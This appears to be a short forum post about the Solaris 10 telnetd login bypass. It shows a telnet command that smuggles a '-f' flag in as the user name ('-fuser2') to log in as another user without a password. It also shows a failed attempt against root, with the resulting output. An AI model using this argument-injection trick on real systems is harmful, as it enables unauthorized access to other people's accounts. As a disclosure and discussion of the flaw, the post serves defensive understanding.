If the server permits logins from outside (maybe via SSH only - protection provided by a local or network) and has telnetd enabled any user can login as other user with no password. I mean: $> ssh [EMAIL PROTECTED] password: ******** [EMAIL PROTECTED]>telnet -l "-fuser2" localhost <no pass required> [EMAIL PROTECTED]> On my Solaris 10 server I wasn't able to obtain root privileges this way, trying: $>telnet -l "-froot" localhost (or IP from the local net) I got: Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. Not on system console Connection to localhost closed by foreign host. It seems that root cannot login on not-system consoles. This server hosts SunRay Server Software 3.1, maybe the different configuration is coming from there.
